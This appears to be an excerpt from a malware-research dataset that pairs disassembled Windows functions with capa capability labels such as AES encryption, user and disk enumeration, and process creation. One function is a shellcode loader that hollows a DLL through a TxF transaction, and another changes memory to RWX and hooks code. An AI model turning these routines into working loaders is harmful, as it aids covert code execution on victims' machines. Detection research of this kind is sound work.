joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4c27a4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
mov byte [ebp - 9], cl
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x10], eax
xor eax, eax
mov al, byte [ebp - 9]
dec eax
test eax, eax
jl 0x4c27f3
inc eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
lea eax, [eax + edx*8]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx]
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 0x10]
lea edx, [edx + ecx*8]
mov ecx, dword [ebp - 0x14]
xor byte [edx + ecx], al
inc dword [ebp - 0x14]
dec dword [ebp - 0x18]
jne 0x4c27cd
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jne 0x4c27b8
mov esp, ebp
pop ebp
ret
Function at 0x4c2ee4
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push esi
push edi
mov esi, dword [ebp + 8]
lea edi, [ebp - 0x200]
push ecx
mov ecx, 0x78
rep movsd dword es:[edi], dword [esi]
pop ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
sub eax, 0x80
je 0x4c2f20
sub eax, 0x40
je 0x4c2f29
sub eax, 0x40
je 0x4c2f32
jmp 0x4c2f3b
mov dword [ebp - 0x18], 4
jmp 0x4c2f47
mov dword [ebp - 0x18], 6
jmp 0x4c2f47
mov dword [ebp - 0x18], 8
jmp 0x4c2f47
mov dword [ebp - 0x10], 0xfffffffe
jmp 0x4c303a
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0xc]
setge al
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.004c2728
sub eax, 0x80
je 0x4c2f6e
sub eax, 0x40
je 0x4c2f77
sub eax, 0x40
je 0x4c2f80
jmp 0x4c2f89
mov dword [ebp - 0x1c], 0xa
jmp 0x4c2f95
mov dword [ebp - 0x1c], 0xc
jmp 0x4c2f95
mov dword [ebp - 0x1c], 0xe
jmp 0x4c2f95
mov dword [ebp - 0x10], 0xfffffffd
jmp 0x4c303a
mov cl, byte [ebp - 0x18]
lea edx, [ebp - 0x200]
mov eax, dword [ebp - 4]
call fcn.004c27a4
mov eax, dword [ebp - 0x1c]
dec eax
test eax, eax
jle 0x4c3000
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x14], 1
mov cl, byte [ebp - 0x18]
mov edx, str.cw
mov eax, dword [ebp - 4]
call fcn.004c28b8
mov cl, byte [ebp - 0x18]
mov eax, dword [ebp - 4]
xor edx, edx
call fcn.004c2800
mov dl, byte [ebp - 0x18]
mov eax, dword [ebp - 4]
call fcn.004c291c
mov cl, byte [ebp - 0x18]
mov eax, dword [ebp - 0x14]
shl eax, 2
lea edx, [ebp + eax*8 - 0x200]
mov eax, dword [ebp - 4]
call fcn.004c27a4
inc dword [ebp - 0x14]
dec dword [ebp - 0x20]
jne 0x4c2fb8
mov cl, byte [ebp - 0x18]
mov edx, str.cw
mov eax, dword [ebp - 4]
call fcn.004c28b8
mov cl, byte [ebp - 0x18]
mov eax, dword [ebp - 4]
xor edx, edx
call fcn.004c2800
mov cl, byte [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
shl eax, 2
lea edx, [ebp + eax*8 - 0x200]
mov eax, dword [ebp - 4]
call fcn.004c27a4
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x4c3048
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe04
push esi
push edi
mov esi, dword [ebp + 8]
lea edi, [ebp - 0x1fc]
push ecx
mov ecx, 0x78
rep movsd dword es:[edi], dword [esi]
pop ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
sub eax, 0x80
je 0x4c3084
sub eax, 0x40
je 0x4c308d
sub eax, 0x40
je 0x4c3096
jmp 0x4c309f
mov dword [ebp - 0x18], 4
jmp 0x4c30ab
mov dword [ebp - 0x18], 6
jmp 0x4c30ab
mov dword [ebp - 0x18], 8
jmp 0x4c30ab
mov dword [ebp - 0x10], 0xfffffffe
jmp 0x4c3199
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0xc]
setge al
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.004c2728
sub eax, 0x80
je 0x4c30d2
sub eax, 0x40
je 0x4c30db
sub eax, 0x40
je 0x4c30e4
jmp 0x4c30ed
mov dword [ebp - 0x1c], 0xa
jmp 0x4c30f9
mov dword [ebp - 0x1c], 0xc
jmp 0x4c30f9
mov dword [ebp - 0x1c], 0xe
jmp 0x4c30f9
mov dword [ebp - 0x10], 0xfffffffd
jmp 0x4c3199
mov cl, byte [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
shl eax, 2
lea edx, [ebp + eax*8 - 0x1fc]
mov eax, dword [ebp - 4]
call fcn.004c27a4
mov cl, byte [ebp - 0x18]
mov edx, 0x4eed64
mov eax, dword [ebp - 4]
call fcn.004c28b8
mov cl, byte [ebp - 0x18]
mov eax, dword [ebp - 4]
mov dl, 1
call fcn.004c2800
mov eax, dword [ebp - 0x1c]
dec eax
cmp eax, 1
jl 0x4c3183
mov dword [ebp - 0x14], eax
mov cl, byte [ebp - 0x18]
mov eax, dword [ebp - 0x14]
shl eax, 2
lea edx, [ebp + eax*8 - 0x1fc]
mov eax, dword [ebp - 4]
call fcn.004c27a4
mov dl, byte [ebp - 0x18]
mov eax, dword [ebp - 4]
call fcn.004c2a34
mov cl, byte [ebp - 0x18]
mov edx, 0x4eed64
mov eax, dword [ebp - 4]
call fcn.004c28b8
mov cl, byte [ebp - 0x18]
mov eax, dword [ebp - 4]
mov dl, 1
call fcn.004c2800
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0
jne 0x4c313a
mov cl, byte [ebp - 0x18]
lea edx, [ebp - 0x1fc]
mov eax, dword [ebp - 4]
call fcn.004c27a4
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x4c34b0
Capabilities:
List groups for user account

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
call fcn.0040628c
xor eax, eax
push ebp
push 0x4c3522
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.004060fc
push eax
push 0
call sub.netapi32.dll_NetUserGetLocalGroups
mov dword [ebp - 8], eax
cmp dword [ebp - 0xc], 0
je 0x4c350c
mov eax, dword [ebp - 0xc]
push eax
call sub.netapi32.dll_NetApiBufferFree
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c3529
lea eax, [ebp - 4]
call fcn.00405f9c
ret
Function at 0x4c687c
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff74
xor edx, edx
mov dword [ebp - 0x8c], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4c6905
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0x80
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x88]
push eax
call sub.advapi32.dll_GetUserNameA
test eax, eax
je 0x4c68df
lea eax, [ebp - 0x8c]
lea edx, [ebp - 0x88]
mov ecx, 0x80
call fcn.004059d8
mov eax, dword [ebp - 0x8c]
mov edx, dword [ebp - 4]
call fcn.00409e64
jmp 0x4c68ec
mov eax, dword [ebp - 4]
mov edx, 0x4c6918
call fcn.004057ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c690c
lea eax, [ebp - 0x8c]
call fcn.00405758
ret

Function at 0x4c6920
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
xor eax, eax
push ebp
push 0x4c69c4
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x10]
xor eax, eax
call fcn.0040318c
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 8]
call fcn.0040ad0c
cmp dword [ebp - 8], 0
setne byte [ebp - 1]
cmp byte [ebp - 1], 0
je 0x4c69a1
lea eax, [ebp - 0x14]
push eax
mov ecx, 2
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405c8c
mov eax, dword [ebp - 0x14]
mov edx, 0x4c69dc
call fcn.00405b78
sete byte [ebp - 1]
cmp byte [ebp - 1], 0
jne 0x4c69a1
mov eax, dword [ebp - 8]
call fcn.00405c2c
push eax
call sub.kernel32.dll_GetDriveTypeA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 4
sete byte [ebp - 1]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c69cb
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.0040577c
lea eax, [ebp - 8]
call fcn.00405758
ret

Function at 0x4c6a2c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, 0x104
call fcn.0040b234
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4c6aa2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xc]
xor ecx, ecx
mov edx, 0x104
call fcn.004039f4
push 0
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathA
test eax, eax
je 0x4c6a84
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
call fcn.00405960
jmp 0x4c6a8c
mov eax, dword [ebp - 8]
call fcn.00405758
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c6aa9
mov eax, dword [ebp - 0xc]
call fcn.0040b280
ret
Function at 0x4c6b7c
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
xor ecx, ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405c1c
xor eax, eax
push ebp
push 0x4c6c35
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
mov edx, 0x4c6c48
call fcn.004057ac
push 0
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00405c2c
push eax
call sub.kernel32.dll_GetVolumeInformationA
test eax, eax
je 0x4c6c12
lea ecx, [ebp - 0x18]
movzx eax, word [ebp - 0x14]
mov edx, 4
call fcn.0040a3fc
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x14]
call fcn.00408720
movzx eax, ax
lea ecx, [ebp - 0x1c]
mov edx, 4
call fcn.0040a3fc
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 8]
pop ecx
call fcn.00405a78
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c6c3c
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.0040577c
lea eax, [ebp - 4]
call fcn.00405758
ret

Function at 0x4c7360
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov dword [ebp - 8], 7
push 0
lea eax, [ebp - 8]
push eax
call sub.wininet.dll_InternetGetConnectedState
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 1], al
mov al, byte [ebp - 1]
pop ecx
pop ecx
pop ebp
ret

Function at 0x4c7388
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe64
mov dword [ebp - 4], eax
mov byte [ebp - 5], 0
call fcn.004c7360
test al, al
je 0x4c73cb
lea eax, [ebp - 0x19c]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, dword [ebp - 4]
call fcn.00405c2c
push eax
call sub.wsock32.dll_gethostbyname
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
setne byte [ebp - 5]
mov al, byte [ebp - 5]
mov esp, ebp
pop ebp
ret
Function at 0x4e2838
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
xor eax, eax
push ebp
push 0x4e28e0
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
call fcn.004864c4
lea eax, [ebp - 8]
mov ecx, 0x4e28f4
mov edx, dword [ebp - 4]
call fcn.00405a78
mov edx, dword [ebp - 8]
mov cl, 1
mov eax, 0x4e2914
call fcn.00486398
test al, al
je 0x4e28ab
mov eax, 0x4e294c
call fcn.0043e398
push 5
lea eax, [ebp - 0xc]
mov ecx, 0x4e28f4
mov edx, dword [ebp - 4]
call fcn.00405a78
mov eax, dword [ebp - 0xc]
call fcn.00405c2c
push eax
call sub.kernel32.dll_WinExec
call fcn.00405590
jmp 0x4e28c5
push 0
movzx ecx, word [0x4e29e4]
mov dl, 2
mov eax, 0x4e29f0
call fcn.0043e21c
call fcn.00405590
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e28e7
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.0040577c
ret
Function at 0x4e2ffc
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x4e3004
push ecx
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x4e3201
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.004e2b5c
mov eax, dword [0x4f18bc]
mov eax, dword [eax]
call fcn.004caff0
lea eax, [ebp - 0xc]
call fcn.00487b64
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 8]
mov dl, 0xa
call fcn.00488388
push 0x4e3218
lea edx, [ebp - 0x10]
mov eax, dword [ebx + 0x388]
call fcn.0044c3a8
push dword [ebp - 0x10]
push 0x4e3234
push 0x4e3244
lea edx, [ebp - 0x14]
mov eax, dword [ebx + 0x390]
call fcn.0044c3a8
push dword [ebp - 0x14]
push 0x4e3234
push 0x4e3258
lea edx, [ebp - 0x18]
mov eax, dword [ebx + 0x394]
call fcn.0044c3a8
push dword [ebp - 0x18]
push 0x4e3234
push 0x4e3268
lea edx, [ebp - 0x1c]
mov eax, dword [ebx + 0x3c0]
call fcn.0044c3a8
push dword [ebp - 0x1c]
push 0x4e3234
push 0x4e3278
lea edx, [ebp - 0x20]
mov eax, dword [ebx + 0x3bc]
call fcn.0044c3a8
push dword [ebp - 0x20]
push 0x4e3234
push 0x4e3288
lea edx, [ebp - 0x24]
mov eax, dword [ebx + 0x3b8]
call fcn.0044c3a8
push dword [ebp - 0x24]
push 0x4e3234
push 0x4e329c
lea edx, [ebp - 0x28]
mov eax, dword [ebx + 0x3b4]
call fcn.0044c3a8
push dword [ebp - 0x28]
push 0x4e3234
push 0x4e32ac
lea edx, [ebp - 0x2c]
mov eax, dword [ebx + 0x3b0]
call fcn.0044c3a8
push dword [ebp - 0x2c]
push 0x4e3234
push 0x4e3234
lea edx, [ebp - 0x30]
mov eax, dword [ebx + 0x3c4]
call fcn.0044c3a8
push dword [ebp - 0x30]
push 0x4e3234
push 0x4e3234
push 0x4e32bc
push 0x4e3234
push 0x4e32f8
push dword [0x4f65ec]
push 0x4e3234
push 0x4e3318
push 0x4e3234
lea edx, [ebp - 0x34]
mov eax, dword [0x4f18bc]
mov eax, dword [eax]
mov eax, dword [eax + 0x360]
call fcn.0044c3a8
push dword [ebp - 0x34]
push 0x4e3340
push dword [ebp - 8]
push 0x4e334c
push 0x4e3234
push 0x4e335c
lea eax, [ebp - 4]
mov edx, 0x29
call fcn.00405aec
lea eax, [ebp - 4]
mov ecx, dword [ebp - 4]
mov edx, 0x4e3384
call fcn.00405a78
mov eax, dword [ebx + 0x368]
mov eax, dword [eax + 0x38]
mov edx, dword [ebp - 4]
call fcn.0041cc28
push 1
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00405c2c
push eax
push 0x4e33c8
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e3208
lea eax, [ebp - 0x34]
mov edx, 0xa
call fcn.0040577c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.0040577c
ret
Function at 0x401700
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x18], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
push ebx
push esi
push edi
cmp ecx, 2
jge 0x401748
push dword [eax]
push str._Usage:__ws__Shellcode_file_path__txf__Hollow_the_DLL_via_a_TxF_handle__optional___r_n
call fcn.00401010
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x18]
xor ecx, esp
call fcn.004018d8
mov esp, ebp
pop ebp
ret
xor bl, bl
mov byte [esp + 0x18], bl
cmp ecx, 3
jl 0x401774
push 0x419d70
push dword [eax + 8]
call fcn.00404a7a
add esp, 8
movzx ebx, bl
test eax, eax
mov ecx, 1
cmove ebx, ecx
mov byte [esp + 0x18], bl
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.NtCreateSection
push edi
call esi
push str.NtMapViewOfSection
push edi
mov dword [0x41d4b4], eax
call esi
push str.NtCreateTransaction
push edi
mov dword [0x41d4ac], eax
call esi
mov dword [0x41d4b0], eax
test bl, bl
je 0x4017c7
test eax, eax
jne 0x4017c7
push str.__TxF_is_not_handled_on_this_system._Disabling_preference._r_n
mov byte [esp + 0x1c], al
call fcn.00401010
add esp, 4
mov eax, dword [esp + 0xc]
push 0
push 0
push 3
mov esi, dword [eax + 4]
push 0
push 1
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x4018af
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push ebx
call fcn.004018eb
add esp, 4
mov dword [esp + 0xc], eax
push ebx
push esi
push str._Successfully_opened__ws__size:__d__r_n
call fcn.00401010
mov esi, dword [esp + 0x18]
lea eax, [esp + 0x2c]
add esp, 0xc
push 0
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40188b
push dword [esp + 0x18]
lea eax, [esp + 0x14]
mov dword [esp + 0x18], 0
push eax
push ebx
push esi
lea edx, [esp + 0x28]
mov dword [esp + 0x20], 0
lea ecx, [esp + 0x24]
call fcn.00401050
add esp, 0x10
test al, al
je 0x40188b
push dword [esp + 0x1c]
push dword [esp + 0x1c]
push dword [esp + 0x1c]
push str._Successfully_mapped_an_image_to_hollow_at_0x_p__size:__I64u_bytes__r_n
call fcn.00401010
mov esi, dword [esp + 0x20]
push esi
push str._Calling_0x_p..._r_n
call fcn.00401010
add esp, 0x18
call esi
mov esi, dword [esp + 0xc]
push esi
call fcn.004018e6
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x18]
xor ecx, esp
call fcn.004018d8
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push str.__Failed_to_open__ws__error__d__r_n
call fcn.00401010
mov ecx, dword [esp + 0x30]
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004018d8
mov esp, ebp
pop ebp
ret
Function at 0x40211a
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x402159
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x402159
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x402159
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x402159
cmp dword [ecx + 0x74], 0xe
jbe 0x402159
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4084ea
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41563c
push 0x415634
push str.FlsAlloc
push 0x1f
call fcn.004083c8
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40851e
push dword [ebp + 8]
mov ecx, esi
call dword [0x414130]
call esi
jmp 0x408524
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x408568
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41564c
push 0x415644
push str.FlsGetValue
push 0x21
call fcn.004083c8
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40859f
push dword [ebp + 8]
mov ecx, esi
call dword [0x414130]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x4085a7
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415654
push 0x41564c
push str.FlsSetValue
push 0x22
call fcn.004083c8
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4085e1
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x414130]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40aab9
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x40ab04
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.0040ac54
test al, al
jne 0x40aafe
sub edx, 2
cmp edx, edi
jne 0x40aae4
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x40ab26
lea eax, [edi + 2]
cmp edx, eax
je 0x40ab26
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.0040aa05
add esp, 0x10
jmp 0x40ac20
push esi
lea ecx, [ebp - 0x255]
call fcn.0040ac54
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40ab69
push dword [ebp - 0x25c]
jmp 0x40ab16
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x40aba6
cmp word [ebp - 0x226], 0
je 0x40abc7
cmp word [ebp - 0x226], ax
jne 0x40aba6
cmp word [ebp - 0x224], 0
je 0x40abc7
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.0040aa05
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x40ac13
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x40ab80
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x40abfb
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x40ac20
push 0x40a835
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.0040fef0
add esp, 0x10
jmp 0x40abf0
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004018d8
leave
ret

Function at 0x40b75c
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x40b76d
pop esi
ret
push ebx
push edi
push esi
call fcn.0040b725
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00409452
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x40b795
push ebx
push esi
push edi
call fcn.004034d0
add esp, 0xc
push 0
call fcn.00408275
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x40bb65
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0040b7aa
Function at 0x413320
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41334d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41334d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x403aea
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x421636
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x426a58]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
lea esi, [edi + 4]
mov dword [edi], 0x4239c0
mov dword [ebp - 0x14], esi
mov dword [esi], 0x42c1d8
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov eax, dword [0x42c1d8]
push 0
push 2
push esi
push 0x42c1d8
mov dword [ebp - 4], 0
call dword [eax]
mov eax, dword [esi + 4]
xor ecx, ecx
mov word [eax], cx
lea esi, [edi + 0x10]
mov dword [ebp - 4], 1
mov dword [ebp - 0x14], esi
mov dword [esi], 0x42c1d8
mov dword [esi + 4], ecx
mov dword [esi + 8], ecx
mov eax, dword [0x42c1d8]
push ecx
push 2
push esi
push 0x42c1d8
mov byte [ebp - 4], 2
call dword [eax]
mov eax, dword [esi + 4]
xor ecx, ecx
xor edx, edx
mov word [eax], cx
mov dword [edi + 0x1c], ecx
mov dword [edi + 0x20], ecx
mov dword [edi + 0x24], 0x80000000
mov dword [edi + 0x38], ecx
mov dword [edi + 0x2c], 0xc
mov dword [edi + 0x30], 7
mov dword [edi + 0x34], 0xffffffff
mov dword [edi + 0x3c], ecx
lea ecx, [edi + 0x40]
mov dword [edi + 0x28], 0x4239a0
lea eax, [ecx + 0x10]
mov dword [ebp - 0x14], ecx
mov dword [ecx + 4], eax
mov dword [ecx + 0xc], 0x102
mov dword [ecx], 0x42c1dc
mov dword [ecx + 8], 0x102
mov word [eax], dx
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401270
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
xor esi, esi
mov dword [esp + 0xc], esi
cmp edi, esi
je 0x401349
cmp dword [esp + 0x18], esi
je 0x401349
mov ebp, dword [esp + 0x1c]
cmp ebp, esi
je 0x401349
push ebx
mov ebx, edi
nop
push 0
push ebx
call fcn.00402fdc
add esi, eax
add ebx, eax
cmp esi, 5
jb 0x4012a0
lea ebx, [esi + 5]
push ebx
call fcn.0040e129
add esp, 4
mov dword [ebp], eax
test eax, eax
jne 0x4012ca
pop ebx
pop edi
pop esi
pop ebp
pop ecx
ret
lea ecx, [esp + 0x10]
push ecx
push 0x40
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp]
push ebx
push 0x90
push edx
call fcn.0040e570
mov eax, dword [ebp]
push esi
push edi
push eax
call fcn.0040e200
mov ecx, dword [ebp]
add ecx, esi
push ecx
lea edx, [edi + 5]
push edx
call fcn.00401230
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 0x20
lea eax, [esp + 0x10]
push eax
push 0x40
push ebx
push edi
call ebp
push esi
push 0x90
push edi
call fcn.0040e570
mov ecx, dword [esp + 0x28]
push edi
push ecx
call fcn.00401230
mov eax, dword [esp + 0x24]
add esp, 0x14
lea edx, [esp + 0x10]
push edx
push eax
push ebx
push edi
call ebp
